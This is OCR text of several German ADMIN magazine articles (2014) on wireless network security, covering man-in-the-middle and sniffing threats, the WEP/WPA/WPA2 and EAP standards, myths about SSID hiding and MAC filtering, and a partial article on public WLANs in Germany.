[4] X540-T2: [http:// www. intel. com/ p/ de_DE/<br />
support/ highlights/ network/ ecna‐x540‐t2]<br />
[5] RS 10613 XS+: [http:// www. synology. com/<br />
de‐de/ products/ overview/ RS10613xs%2B]<br />
[6] Netgear ProSafe XS70BE: [http:// www.<br />
netgear. de/ products/ business/ switches/<br />
prosafe‐plus‐switches/ XS708E. aspx#]<br />
[7] iometer: [http:// www. iometer. org]<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
koi88, 123RF<br />
Schwachstellen drahtloser Netzwerke ausmerzen<br />
Sicherungen<br />
Allzu sorglos eingesetzt, können Wireless-Netze zum Einfallstor ins Unternehmensnetzwerk werden. Wir<br />
zeigen, welche Konsequenzen bei einem Angriff von Kriminellen drohen und was IT-Administratoren bei<br />
der Nutzung von WLAN und Co. hinsichtlich der IT-Sicherheit im Hinterkopf haben sollten. Christian Funk<br />
Einer Kaspersky-Umfrage aus dem<br />
Jahr 2013 [1] zufolge, fielen 9 Prozent<br />
der befragten Unternehmen gezielten<br />
Attacken auf das Unternehmensnetzwerk<br />
zum Opfer. Solche Angriffe können<br />
enorme Schäden verursachen, die<br />
entsprechend der Kaspersky-Studie<br />
von Großunternehmen mit durchschnittlich<br />
1,8 Millionen Euro beziffert<br />
wurden. Kleine und mittlere Unternehmen<br />
kostet eine gezielte Attacke im<br />
Schnitt immer noch 70 000 Euro.<br />
Zielgerichtete Angriffe erfolgen meist<br />
über sogenanntes Spear-Phishing –<br />
also über eine gezielte Phishing-Attacke<br />
auf einen Mitarbeiter. Zum Einfallstor<br />
ins Unternehmensnetz können dabei<br />
auch drahtlose Netzwerke werden.<br />
Trotz etlicher Vorteile müssen bei ihrem<br />
Einsatz immer auch die Schwachpunkte<br />
betrachtet werden. Zu den<br />
möglichen Folgen gehören Datendieb-<br />
stahl, Malware-Infektionen, Netzwerk-<br />
Lücken und rechtliche Konsequenzen.<br />
Aus Perspektive der IT-Sicherheit sollten<br />
die folgenden Schwachstellen bei<br />
der Nutzung drahtloser Netzwerke besonders<br />
im Blick sein:<br />
n Man-in-the-Middle-Attacke,<br />
n Sniffing-Angriff,<br />
n Lücke „Netzwerkfreigabe von Nutzer<br />
aktiviert“.<br />
Der Mann in der Mitte<br />
Beim Man-in-the-Middle-Angriff (MitM)<br />
steht der Angreifer zwischen den beiden<br />
Kommunikationspartnern. Er hat<br />
mit seinem System vollständige Kontrolle<br />
über den Datenverkehr zwischen<br />
den Netzwerkteilnehmern und kann die<br />
Informationen nach Belieben einsehen<br />
und sogar manipulieren. Der Angreifer<br />
täuscht den Kommunikationspartnern<br />
vor, das jeweilige Gegenüber zu sein.<br />
Bei drahtlosen Netzwerken existieren<br />
mehrere MitM-Szenarien. Beim klassischen<br />
Beispiel erfolgt der Angriff über<br />
einen „rogue“ – also einen böswilligen<br />
– Accesspoint. Die Umleitung eines<br />
Opfers auf eine unverschlüsselte Seite<br />
ist möglich, indem SSL deaktiviert wird.<br />
Zielgerichtete Attacken auf Personen<br />
können einem ähnlichen Schema folgen.<br />
Das anvisierte Opfer wird auf eine<br />
Webseite umgeleitet, auf der dann der<br />
Rechner gezielt per Drive-by-Download<br />
infiziert wird.<br />
Wie könnte ein Man-in-the-Middle-<br />
Angriff aussehen? Kriminelle könnten<br />
einen „Rogue-Accesspoint“ als freies<br />
WLAN-Netz an einem öffentlichen Ort<br />
anbieten, beispielsweise im Hotel, in<br />
einem Café oder am Flughafen. Wählt<br />
sich ein Nutzer dort ein, können die Kriminellen<br />
den kompletten Datenverkehr<br />
mitlesen und manipulieren. Um ver-<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Security<br />
Mobile Sicherheit<br />
25<br />
schlüsselte Daten einsehen zu können,<br />
sind weitere Eingriffe nötig, die unten<br />
näher beschrieben werden.<br />
Darüber hinaus können Nutzer eines<br />
feindlichen WLAN-Netzes auf Phishing-<br />
Seiten weitergeleitet werden. Diese<br />
Methode kann gezielt und auch automatisiert<br />
eingesetzt werden. Ruft ein<br />
User die Seite eines Bezahldienstes wie<br />
Paypal auf, wird vom Accesspoint eine<br />
Weiterleitung auf eine täuschend echte<br />
Phishing-Seite benutzt, die ebenfalls<br />
von Kriminellen betrieben wird. Administratoren<br />
sollten daher die Nutzung<br />
öffentlicher WLAN-Netze durch Firmengeräte<br />
immer kritisch sehen.<br />
MitM-Angriffe müssen allerdings nicht<br />
immer über einen Rogue-Accesspoint<br />
erfolgen. Auch ein WLAN-Nutzer mit<br />
genügend krimineller Energie kann den<br />
Datenverkehr in einem WLAN-Netzwerk<br />
manipulieren. Dabei wird per SSL-<br />
Stripping SSL deaktiviert und damit die<br />
Webseiten-basierte Verschlüsselung<br />
aufgehoben. So können auch Login-<br />
Daten abgegriffen werden.<br />
Vorsicht vor Schnüfflern<br />
Wireless-Netze sind für Sniffing-Attacken<br />
besonders anfällig. Das Sniffing ist<br />
hier leicht zu bewerkstelligen, weil über<br />
WLAN übertragene Daten für jeden<br />
Rechner sichtbar sind. Mit der richtigen<br />
Software können diese Informationen<br />
problemlos aufgezeichnet werden. Ob<br />
die Informationen dann lesbar sind<br />
oder nicht, hängt allerdings von der<br />
Verschlüsselung ab.<br />
Webseiten werden meist über SSL-<br />
Protokolle verschlüsselt. Um SSL-verschlüsselte<br />
Daten sichtbar zu machen,<br />
haben Angreifer zwei Möglichkeiten:<br />
Dem Opferrechner wird ein gefälschtes<br />
Zertifikat präsentiert, der Anwender<br />
nickt in Unwissenheit die Warnung<br />
ab und der Angreifer ist als Man-In-<br />
The-Middle im Netzwerk. Alternativ<br />
können Kriminelle Netzwerk-Traffic so<br />
manipulieren, dass durch sogenanntes<br />
SSL-Stripping keine Verschlüsselung<br />
stattfindet. Netzwerk-Nutzer bemerken<br />
dies daran, dass sie in der Adressleiste<br />
des Browsers kein Schlosssymbol und<br />
nur »http« statt »https« sehen. Doch<br />
nur wenige Anwender überprüfen dieses<br />
Merkmal.<br />
Die bei WLANs am häufigsten genutzten<br />
Verschlüsselungstypen sind WPA und<br />
WEP. Letzteres gilt jedoch als veraltet<br />
und unsicher. So gibt es für WEP fertige<br />
Toolsets, die ein so gesichertes WLAN<br />
in weniger als 60 Sekunden knacken<br />
können – stetigen Datenverkehr vorausgesetzt.<br />
WPA, insbesondere WPA2<br />
sind sicher, sofern das Passwort stark<br />
genug ist.<br />
Bisher haben wir nur Angriffe auf Surfer<br />
betrachtet. Jedoch sind auch Anwendungen<br />
wie etwa Chat, FTP oder E-Mail,<br />
die über ein drahtloses Netzwerk verwendet<br />
werden, anfällig für Attacken.<br />
Die damit verknüpften Programme
26<br />
Wireless Security<br />
Mobile Sicherheit<br />
von innen scannen und interessante<br />
Ziele auf Schwachstellen abtasten. Der<br />
Zugang zum Gebäude wird dabei über<br />
Social Engineering bewerkstelligt. Der<br />
Angreifer gibt beispielsweise vor, ein<br />
Dienstleister zu sein und die Klimageräte,<br />
Sanitäranlagen oder auch die<br />
Kaffeemaschine zu reparieren. Strikte<br />
Zugangskontrollen schützen vor dieser<br />
Angriffsform.<br />
Abbildung 1: Die häufigsten Bedrohungen für Unternehmen nach einer Kaspersky-Studie.<br />
n Info<br />
müssen selbst eigene Verschlüsselungstechnologien<br />
mitbringen.<br />
Outlook kann etwa über SSL verschlüsseln,<br />
wenn der Mailserver (beziehungsweise<br />
der Mailprovider) das anbietet.<br />
Wird FTP genutzt, sollte man zu sFTP<br />
greifen.<br />
Offen wie ein Scheunentor<br />
Die nicht beabsichtigten Lücken drahtloser<br />
Netze kann nur eine sorgfältige<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31678<br />
[1] Umfrage von B2B International im Auftrag von<br />
Kaspersky Lab im Jahr 2013: [http:// media.<br />
kaspersky. com/ en/ business‐security/<br />
Kaspersky_Global_IT_Security_Risks_Survey_report_Eng_final.<br />
pdf]<br />
n Autor<br />
Christian Funk ist Senior Virus<br />
Analyst bei Kaspersky Lab. Seine<br />
Spezialgebiete sind die Webseiten<br />
Sozialer Netzwerke, Analysen von<br />
Internetbetrügereien sowie die<br />
Beobachtung des Schwarzmarkts<br />
im Bereich Online-Gaming und<br />
Mobile Security.<br />
Konfiguration wieder adäquat schließen.<br />
Ist zum Beispiel die Netzwerkfreigabe<br />
von Nutzern aktiviert, kann jeder<br />
im selben Netz auf die freigegebenen<br />
Daten zugreifen. Außerdem ermöglicht<br />
die Netzwerkfreigabe das Freigeben<br />
von Ordnern des Betriebssystems.<br />
Ist die Tür ins WLAN für einen Dritten<br />
mit krimineller Absicht erst mal geöffnet,<br />
kann das Netz für Angriffe auf Webseiten,<br />
Spam-Versand und andere illegale<br />
Aktivitäten missbraucht werden.<br />
Dies ist gerade für Betreiber von öffentlichen<br />
WLAN-Netzen zu beachten. Denn<br />
es drohen gesetzliche Konsequenzen,<br />
wenn über die eigene IP-Adresse illegale<br />
Aktivitäten ausgeführt werden.<br />
Das folgende Beispiel zeigt, wie Unternehmensnetzwerke<br />
über einen althergebrachten,<br />
aber immer noch äußerst<br />
wirkungsvollen Ansatz ausspioniert<br />
werden können, indem ein WLAN-Netz<br />
selbst zum Angriffsvektor wird. Dabei<br />
wird ein Rogue-Accesspoint mittels<br />
eines vorkonfigurierten WLAN-Routers<br />
von den Angreifern direkt im Unternehmensgebäude<br />
des Opfers platziert. Der<br />
Router ist wiederum via Ethernet an<br />
das Netzwerk angeschlossen. Moderne<br />
Bürogebäude machen es dem Angreifer<br />
relativ leicht. Selbst Küchen oder<br />
ein verstecktes Plätzchen hinter dem<br />
Drucker im Flur bieten Netzwerkanschlüsse,<br />
die hierfür verwendet werden<br />
können. Einmal platziert, kann der Angreifer<br />
vom Parkplatz aus das Netzwerk<br />
So sichert man WLANs<br />
Die folgenden Tipps zeigen abschließend,<br />
wie man sich auf Konfigurationsebene<br />
des genutzten Wireless-<br />
Equipments vor Sicherheitslücken und<br />
böswilligen Absichten schützen kann:<br />
1. Starke Verschlüsselung: WLANs in<br />
Unternehmen sollten mindestens über<br />
„WPA2 Enterprise“ verschlüsselt sein.<br />
2. Starke Passwörter für den WLAN-Zugang:<br />
Wireless-Netze sollten mit extra<br />
starken Passwörtern abgesichert werden,<br />
die aus mindestens 16 Zeichen bestehen.<br />
Außerdem sollten Passwörter<br />
Sonderzeichen und Zahlen beinhalten,<br />
aber keine einzelnen Wörter abbilden.<br />
Wenn schwächere Passwörter genutzt<br />
werden, sollte dahinter ein Account-<br />
System liegen, das Mitarbeiter nur<br />
mit ihren Zugangsdaten freischalten<br />
können.<br />
3. Abschaltung des Ad-Hoc-Modus:<br />
Wird der Ad-Hoc-Modus ausgeschaltet,<br />
findet keine direkte Kommunikation<br />
zwischen den Clients untereinander<br />
statt. So verhindert man, dass Ordnerfreigaben<br />
einfach ausgenutzt oder<br />
direkte Angriffe auf Rechner ausgeführt<br />
werden können.<br />
4. WLANs und interne Netze trennen:<br />
WLANs sollten separat zum internen<br />
Netzwerk der Organisation eingerichtet<br />
werden. So sind beide Netze physikalisch<br />
getrennt oder via VLAN-Netze<br />
segmentiert.<br />
5. Rechtliche Absicherung via AGBs:<br />
Beim Betreiben von WLAN-Netzen<br />
können rechtliche Konsequenzen bei<br />
Missbrauch eines Netzwerks drohen,<br />
zum Beispiel wenn Internetangriffe und<br />
Spam-Versand via unzureichend abgesichertem<br />
Netzwerkzugang durchgeführt<br />
werden. Eine Absicherung durch<br />
die eigene Rechtsabteilung sorgt für<br />
Rechtssicherheit. (jcb) n<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
28<br />
WLAN Security<br />
Grundlagen<br />
Thomas Reichhart, 123RF<br />
Sicherheit im WLAN: Fakten und Mythen<br />
Kabellose Mythen<br />
Das drahtlose Netzwerk bringt Komfort für Nutzer und Eindringlinge. Wir erklären die grundlegenden<br />
Konzepte und Begriffe und klären über Mythen auf. Carsten Schnober<br />
Die Strippenzieher kommen aus der<br />
Mode: So mancher Laptop hat nicht<br />
einmal mehr eine Buchse fürs Netzwerkkabel,<br />
von Smartphones und Tablets<br />
ganz zu schweigen. Trotzdem erwarten<br />
ihre Besitzer, dass sie mit ihren<br />
Geräten im Büro wie zu Hause einfach<br />
loslegen können. Ein drahtloses Netz ist<br />
schnell aufgesetzt, aber wie verhindert<br />
der Admin, dass Außenstehende darüber<br />
an die Firmeninterna gelangen?<br />
Verschlüsselung statt Kabel?<br />
Mit dem Einzug der drahtlosen Vernetzung<br />
verschwand ein Prinzip, das sicherheitsbewusste<br />
Admins liebgewonnen<br />
hatten: Schirmte eine Firewall das<br />
interne Netz ausreichend vor Attacken<br />
von außen ab, brauchten Angreifer eine<br />
physische Verbindung. Vor einem echten<br />
Einbruch ins Büro schreckten dann<br />
wohl doch die meisten Hacker zurück,<br />
während sie für den Einbruchsversuch<br />
ins drahtlose Netz lediglich einen gemütlichen<br />
Platz in der Nachbarschaft<br />
benötigen.<br />
Die typischerweise unverschlüsselte<br />
Kommunikation im internen Netz wird<br />
damit zum potenziellen Sicherheits-<br />
problem. Manche Firmen sperrten sich<br />
anfangs komplett gegen drahtlose<br />
Netzwerke, aber inzwischen können<br />
sich kaum noch Admins dem Komfortgewinn<br />
der WLANs verweigern; spätestens<br />
wenn der Chef mit seinem neuen<br />
Macbook Air ohne Netzwerkbuchse ins<br />
Netz möchte.<br />
Anfangs sollte die Lösung für das Problem<br />
WEP (Wired Equivalent Privacy)<br />
heißen. Die versprochene, dem Kabel<br />
entsprechende Sicherheit lieferte<br />
das WEP-Verfahren allerdings nicht.<br />
Nachdem mehrere Methoden und<br />
Tools aufgekommen waren, die eine<br />
WEP-Verschlüsselung teils in wenigen<br />
Minuten knackten, verabschiedete das<br />
Institute of Electrical and Electronics<br />
Engineers IEEE 2003 den WPA-Standard<br />
(Wi-Fi Protected Access) als Nachfolger<br />
für das unsichere WEP.<br />
Verschlüsselte Unsicherheit<br />
WPA war zunächst ein angesichts der<br />
Unzulänglichkeiten von WEP eilig<br />
eingeführter Ersatz. Der neue Standard<br />
führte das TKIP-Verfahren in die<br />
WLAN-Verschlüsselung ein (Temporal<br />
Key Integrity Protocol), das zwei neue<br />
Mechanismen mitbrachte. Zum einen<br />
generiert TKIP für jedes Datenpaket<br />
einen eigenen Schlüssel von 128 Bit<br />
Länge nach dem RC4-Verschlüsselungsalgorithmus,<br />
der etwa auch beim<br />
TLS-Protokoll zum Einsatz kommt; ein<br />
Verfahren, das als Nachfolger von SSL<br />
diversen Übertragungsprotokollen eine<br />
Verschlüsselungsebene überstülpt.<br />
WEP verzichtete auf solche dynamisch<br />
generierten Schlüssel, unter anderem<br />
weil die Urheber nicht sicher waren,<br />
dass jeder Client über die erforderliche<br />
Prozessorleistung verfügte; doch<br />
Anfang des Jahrtausends war dieser<br />
Einwand schon hinfällig.<br />
Zum anderen prüft WPA die Integrität<br />
eingehender Pakete. Damit verhindert<br />
es Angriffe mithilfe abgefangener und<br />
kopierter oder manipulierter Datenpakete<br />
eines anderen Clients.<br />
Als weitere Verbesserung folgte 2004<br />
der bis heute empfohlene Standard<br />
WPA2, teilweise auch bekannt unter<br />
der Abkürzung RSN (Robust Security<br />
Network). Seit 2006 ist WPA2-Unterstützung<br />
für WLAN-Geräte verpflichtend,<br />
damit die IEEE sie zertifiziert. WPA2<br />
ersetzt das TKIP-Verfahren durch CCMP<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
WLAN Security<br />
Grundlagen<br />
29<br />
(Counter Mode Cipher Block Chaining<br />
Message Authentication Code Protocol),<br />
da TKIP ebenfalls sicherheitstechnische<br />
Schwachstellen offenbart hatte.<br />
2012 erklärte die IEEE TKIP für überholt<br />
und rät von der weiteren Benutzung ab,<br />
auch wenn es weiter unterstützt wird.<br />
CCMP basiert auf dem AES-Verschlüsselungsalgorithmus,<br />
den zahlreiche Sicherheitsanwendungen<br />
einsetzen und<br />
der weiterhin als sicher gilt.<br />
Endlich sicher<br />
WPA kennt zwei Authentifizierungsmodi:<br />
Bei WPA-PSK (Pre-shared Key)<br />
gibt der Client bei der Anmeldung am<br />
Hotspot ein Passwort an, aus dem WPA<br />
einen 256 Bit langen Schlüssel generiert.<br />
Dieses WPA Personal genannte<br />
Verfahren kommt meist in kleineren<br />
WLANs zum Einsatz. Jeder Benutzer<br />
verwendet dabei also dasselbe Passwort.<br />
Abbildung 1 zeigt einen typischen<br />
WLAN-Router für ein Heimnetzwerk.<br />
Der gemeinsame Netzwerkschlüssel<br />
steht im entsprechenden Feld.<br />
WPA Enterprise implementiert hingegen<br />
eine benutzerbezogene Autorisierung<br />
(siehe Artikel „Großer Radius“ in<br />
dieser Ausgabe) nach dem IEEE-Standard<br />
802.1X. Dabei sendet jeder Client<br />
einen Benutzernamen und ein persönliches<br />
Passwort an den WLAN-Hotspot.<br />
Dieser greift üblicherweise auf einen<br />
externen Radius-Server zurück, um die<br />
angegebenen Daten zu überprüfen. Abbildung<br />
2 illustriert den Vorgang.<br />
Die Authentifizierungsdaten leitet der<br />
WLAN-Hotspot gemäß des EAP-Standards<br />
(Extensible Authentication Protocol)<br />
weiter, zu diesem Zweck nutzt WPA<br />
Enterprise die Erweiterung EAPOL (EAP<br />
over LAN). Beim typischen WLAN-Setup<br />
dient der Hotspot dann als Netzwerkzugangsknoten<br />
(NAS, Network Access<br />
Service, Abbildung 3) für die Clients.<br />
EAP selbst legt lediglich das Übertragungsformat<br />
der Anmeldedaten fest<br />
und geht nicht auf mögliche Mithörer<br />
ein. Damit die Benutzerdaten sicher<br />
ankommen, gelangen sie bei WPA<br />
Enterprise verschlüsselt zum Authentifizierungsserver.<br />
Dabei existieren theoretisch<br />
fünf Varianten, auch wenn in der<br />
Praxis nicht alle zum Einsatz kommen.<br />
Als Erstes bildete gemäß Spezifika-<br />
Abbildung 1: Kleinere WLANs verwenden einen gemeinsamen Netzwerkschlüssel.<br />
tion EAP-TLS die Grundlage für WPA<br />
Enterprise. Es gilt immer noch als die<br />
sicherste Variante, denn es setzt in den<br />
meisten Implementationen sowohl auf<br />
der Server- als auch auf der Client-Seite<br />
ein Verschlüsselungszertifikat voraus.<br />
Ohne so ein Zertifikat helfen einem<br />
Einbrecher selbst ein gültiger Benutzername<br />
und Passwort eines Clients nicht.<br />
Das setzt jedoch auch eine vergleichsweise<br />
umständliche Ersteinrichtung eines<br />
Client-Rechners voraus, auf den der<br />
Nutzer sein Zertifikat kopieren muss,<br />
bevor er ins Netz kann.<br />
EAP-TTLS macht das Zertifikat für<br />
den Client optional und baut einen<br />
Sicherheitsgewinn ein, indem der<br />
WN<br />
Supplicant<br />
!<br />
AP<br />
Authenticator<br />
WLAN-Hotspot einen ebenfalls mit TLS<br />
verschlüsselten Tunnel zum Authentifizierungsserver<br />
einrichtet. Durch jenen<br />
fließen alle Daten für Außenstehende<br />
unlesbar – auch der Benutzername,<br />
den EAP-TLS im Klartext überträgt. Allerdings<br />
hat sich dieses Verfahren nicht<br />
etabliert, weil Microsofts Desktopbetriebssysteme<br />
es erst seit Windows 8<br />
unterstützen.<br />
Ebenfalls auf einen verschlüsselten<br />
Tunnel setzt das PEAP-Verfahren<br />
(Protected Extensible Authentication<br />
Protocol), entwickelt unter anderem<br />
von Cisco und Microsoft. Es definiert<br />
zunächst nur die Methode, EAP-Mechanismem<br />
aneinander zu koppeln. Den<br />
"<br />
§<br />
Authentication Server<br />
(RADIUS, LDAP,...)<br />
AS<br />
Internet- oder<br />
andere Netzwerkressourcen<br />
Abbildung 2: Bei WPA Enterprise (802.1X) verbindet sich der Client (Supplicant) mit dem Accesspoint,<br />
der den Benutzer beim Authentifizierungsserver verifiziert.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
30<br />
WLAN Security<br />
Grundlagen<br />
Supplicant<br />
EAPOL<br />
!<br />
EAP<br />
Authenticator<br />
§<br />
Tunnel zwischen WLAN-Hotspot und<br />
Authentifizierungsserver verschlüsselt<br />
PEAPv0 mit MSCHAPv2 (Microsoft’s<br />
Challenge Handshake Authentication<br />
Protocol). PEAPv1 setzt dagegen auf<br />
EAP-GTC (EAP Generic Token Card);<br />
dieser Alleingang aus dem Hause Cisco<br />
konnte sich aber nicht etablieren.<br />
Microsoft verweigerte auch hier bei<br />
seinen Betriebssystemen lange die Unterstützung.<br />
Empfehlungen<br />
Trotz all der teils verwirrend benannten<br />
Abkürzungen lassen sich die Verschlüsselungstechniken<br />
übersichtlich zusammenfassen.<br />
Für den Weg zwischen<br />
Client und WLAN-Hotspot ist WPA oder<br />
WPA2 zuständig. WEP existiert zwar<br />
noch bei vielen Geräten, ist aber veraltet<br />
und bietet wenig mehr Schutz als<br />
eine unverschlüsselte Verbindung.<br />
Für erhöhte Sicherheit empfiehlt sich<br />
dann WPA Enterprise. Dabei kommt<br />
neben der WPA-Verschlüsselung<br />
zwischen Client und WLAN-Hotspot<br />
zusätzlich ein verschlüsselter Tunnel<br />
zum Authentifizierungsserver zum<br />
Einsatz. Dieser benötigt ein Zertifikat,<br />
im Produktiveinsatz sollte es von einer<br />
vertrauenswürdigen Stelle signiert sein.<br />
Andernfalls erhält der Client eine Warnung.<br />
Ignoriert er diese, riskiert er eine<br />
Man-in-the-Middle-Attacke, bei der ein<br />
Angreifer das Zertifikat manipuliert.<br />
Authentication Server<br />
RADIUS / Diameter<br />
EAP<br />
"<br />
Internet- oder<br />
andere Netzwerkressourcen<br />
Abbildung 3: Mit EAPOL gelangen Benutzerdaten verschlüsselt zum Authentifizierungsserver.<br />
Sicherheitsmythen<br />
Aufgrund der Vielzahl sich um WLAN-<br />
Sicherheit rankender Mythen lohnt<br />
sich abschließend eine Aufzählung vermeintlicher<br />
Sicherheitsmaßnahmen,<br />
die faktisch nicht vor gezielten Angriffen<br />
schützen.<br />
Es beginnt mit dem vergeblichen<br />
Versuch, das eigene WLAN scheinbar<br />
unsichtbar zu machen. Jeder WLAN-<br />
Hotspot bietet die Möglichkeit, die SSID<br />
(Service Set Identifier) nicht als Broadcast<br />
in die Welt zu senden. Das hat zur<br />
Folge, dass der Name des WLANs auf<br />
einem typischen Laptop oder anderen<br />
Gerät nicht zu sehen ist, je nach<br />
Client-Software taucht das namenlose<br />
WLAN dann gar nicht auf. Ein befugter<br />
Netzteilnehmer gibt die SSID manuell<br />
ein, um sich zu verbinden. Einmal gespeichert,<br />
erfolgt die Verbindung zum<br />
WLAN automatisch.<br />
Allerdings bietet diese Maßnahme<br />
höchstens Schutz gegen versehentliche<br />
Verbindungsversuche unerwünschter<br />
Clients. Wer bewusst in ein WLAN einbrechen<br />
möchte, findet die SSID auch<br />
über die zwischen Hotspot und angemeldeten<br />
Clients ausgetauschten Datenpakete.<br />
Einschlägige Tools erledigen<br />
die Extraktion von WLAN-SSIDs ganz<br />
nebenbei, ob unsichtbar oder nicht.<br />
In eine ähnliche Kerbe schlägt der<br />
ebenfalls bei allen WLAN-Hotspots<br />
vorgegebene Filtermechanismus<br />
auf Basis der MAC-Adressen von Clients.<br />
Jedes Netzwerkgerät, sowohl<br />
drahtlose als auch kabelgebundene<br />
Netzwerkadapt er, besitzen ab Werk<br />
eine fest eingebaute MAC-Adresse. Im<br />
Normalfall hilft diese dem Client, sich<br />
eindeutig bei einem Router zu identifizieren.<br />
Deshalb liegt die Idee nahe, die<br />
MAC-Adressen gewünschter Clients im<br />
WLAN-Hotspot zu speichern und alle<br />
anderen Geräte auszusperren.<br />
Auch diese Maßnahme vermeidet<br />
jedoch höchstens versehentliche Verbindungsversuche<br />
durch unbefugte<br />
Clients. Denn die MAC-Adresse eines<br />
Netzwerkgeräts lässt sich beliebig<br />
manipulieren. Erlaubte MAC-Adressen<br />
herauszufinden, ist für einen Eindringling<br />
wiederum einfach, denn auch sie<br />
gehört zu den Daten, die angemeldeten<br />
Clients mit jedem Paket an den Hotspot<br />
übertragen. An dieser Stelle fangen<br />
Eindringlinge die MAC-Adresse ab und<br />
übernehmen sie.<br />
Adressen<br />
WLAN-Hotspots enthalten gewöhnlich<br />
auch einen DHCP-Server zur automatischen<br />
Vergabe von IP-Adressen an die<br />
Clients. Es erscheint möglicherweise<br />
als Schutzmaßnahme, den DHCP-<br />
Server abzuschalten und die Netzwerkeinstellungen<br />
der Clients einzeln<br />
zu konfigurieren. Hier gilt jedoch das<br />
gleiche wie bei einem manuell definierten<br />
MAC-Adressenfilter: Abgefangene<br />
Datenpakete enthalten die IP-Adressen,<br />
sodass ein Angreifer lediglich mithören<br />
und seinen Rechner entsprechend konfigurieren<br />
muss.<br />
Ein ähnlicher vermeintlicher Sicherheitstipp<br />
soll den Komfort der automatischen<br />
Client-Konfiguration via<br />
DHCP mit der Sicherheit durch einen<br />
eingeschränkten Adressbereich kombinieren.<br />
Es heißt, man begrenze den<br />
vom DHCP-Server vergebenen Bereich<br />
von IP-Adressen auf die Anzahl der<br />
gewünschten Clients. Sind sie angemeldet,<br />
bleiben keine IP-Adressen frei und<br />
der Router verweigert die Anmeldung.<br />
Hier gilt das gleiche wie ohne DHCP-<br />
Server: Wer eine im Netzwerk gültige<br />
IP findet, übernimmt diese einfach, mit<br />
unvorhersehbaren Folgen für die Netzwerkkommunikation.<br />
n<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
goodluz, 123RF<br />
Öffentliche drahtlose Netzwerke in Deutschland<br />
Drahtlos in Grenzen<br />
Öffentliche drahtlose Netzwerke haben es in Deutschland schwer. Das ADMIN-Magazin hat sich zwei<br />
unterschiedliche Ansätze angesehen, die es trotzdem versuchen: MobyKlick in Norderstedt und die Freifunk-Initiative.<br />
Jan Rähm<br />
Nicht nur Touristen freuen sich, wenn<br />
sie unterwegs über ein öffentliches<br />
drahtloses Netzwerk einen schnellen<br />
Blick auf den digitalen Fahrplan des<br />
örtlichen Nahverkehrs werfen oder sich<br />
per Wikipedia & Co über Ausflugsziele<br />
informieren können. Doch in Deutschland<br />
gibt es kaum freie Netze, obwohl<br />
Ausnahmen zeigen, dass es möglich ist.<br />
Mit einem flächendeckenden drahtlosen<br />
Netzwerk wäre es einfach, ein Dorf<br />
oder eine ganze Stadt komplett mit<br />
einem Internetzugang zu versorgen.<br />
Denn die deutschen Anbieter versorgen<br />
noch lange nicht das gesamte Land mit<br />
Breitband-Mobilfunk. Während die Abdeckung<br />
in Städten meist passable Dimensionen<br />
angenommen hat, wird sie<br />
in ländlichen Gebieten zum Trauerspiel.<br />
Ein großflächiges, für jeden nutzbares<br />
WLAN könnte dort Abhilfe schaffen. Die<br />
Anwohner geben darin einen Teil ihrer<br />
eigenen Bandbreite für die Öffentlichkeit<br />
frei. Doch der Gesetzgeber schiebt<br />
dem einen Riegel vor: Aufgrund der sogenannten<br />
Störerhaftung (siehe Kasten<br />
„Störerhaftung“) traut sich kaum noch<br />
jemand, seinen Internetanschluss mit<br />
Fremden zu teilen. Zu groß ist die Gefahr,<br />
dass unrechtmäßige Handlungen<br />
im Netz auf einen selbst zurückfallen.<br />
Dass es anders geht, zeigt ein Blick<br />
über die Grenzen Deutschlands hinaus.<br />
Öffentliche Drahtlosigkeit<br />
London, Paris, New York und viele<br />
weitere Metropolen bieten der Allgemeinheit<br />
teils kostenlose, drahtlose<br />
Netzwerke. Vielfach betreiben die<br />
Kommunen diese Netze selbst. Das<br />
beste Beispiel in dieser Hinsicht ist<br />
Estland: Der baltische Staat rangiert<br />
im weltweiten Ranking hinsichtlich des<br />
Breitbandausbaus weit vorne, in der<br />
Hauptstadt Tallinn deckt zudem ein<br />
WLAN das gesamte Stadtgebiet ab.<br />
Schaut man auf deutsche Städte, sieht<br />
es dagegen traurig aus. In Berlin und<br />
Potsdam decken Drahtlosnetzwerke<br />
einige Innenstadtbereiche ab, über<br />
die die Öffentlichkeit zumindest eine<br />
halbe Stunde am Tag kostenfrei surft.<br />
Kunden des Betreibers – eine Kooperation<br />
zwischen Kabel Deutschland und<br />
der Medienanstalt Berlin Brandenburg<br />
(mabb) – dürfen auch länger ins Netz.<br />
Das Angebot hat jedoch noch experimentellen<br />
Charakter.<br />
Einen Testlauf in Sachen Public-WLAN<br />
möchte auch München starten und zu-<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Securty<br />
Öffentliche WLANs<br />
33<br />
mindest im direkten Innenstadtbereich<br />
einige ausgesuchte Plätze mit freiem<br />
WLAN abdecken. Ein ähnliches Vorhaben<br />
für Augsburg scheiterte allerdings<br />
erst letztes Jahr.<br />
Der bereits genannte Betreiber Kabel<br />
Deutschland sowie der Kommunikationsriese<br />
Telekom planen zumindest für<br />
die eigenen Kunden ein weiträumigeres<br />
WLAN aufzubauen. Dazu wollen sie am<br />
Anschluss der eigenen Breitbandkunden<br />
mithilfe eines speziellen Routers<br />
ein zusätzliches, abgeschottetes WLAN<br />
aufmachen und anderen Nutzern zur<br />
Verfügung stellen. In anderen Ländern,<br />
etwa Frankreich und Großbritannien,<br />
wenden die großen Internet-Anbieter<br />
diese Technik seit Jahren an.<br />
Doch es bleibt fraglich, ob die Pläne<br />
der beiden Unternehmen zu flächendeckenden<br />
WLANs in Städten und auf<br />
dem Land führen, denn die Betreiber<br />
haben wenig Einfluss auf den Standort<br />
und die Ausrichtung der Router. Ein<br />
Gerät im dritten Geschoss eines Hinterhauses<br />
erreicht vielleicht zwar die<br />
Nachbarn, aber nicht den Touristen,<br />
der auf der Straße vorbeiläuft. Über<br />
Hand-Over-Techniken ließen die Kommunikationsunternehmen<br />
bisher auch<br />
nichts verlauten, die vorbeieilenden<br />
Passanten den Übergang zwischen<br />
den Hotspots des Netzwerks erlauben<br />
würden. So steht zu befürchten, dass<br />
die Initiativen der beiden Netzbetreiber<br />
eher zu einem Flickenteppich führen.<br />
Norddeutsche<br />
Breitbandhoffnung<br />
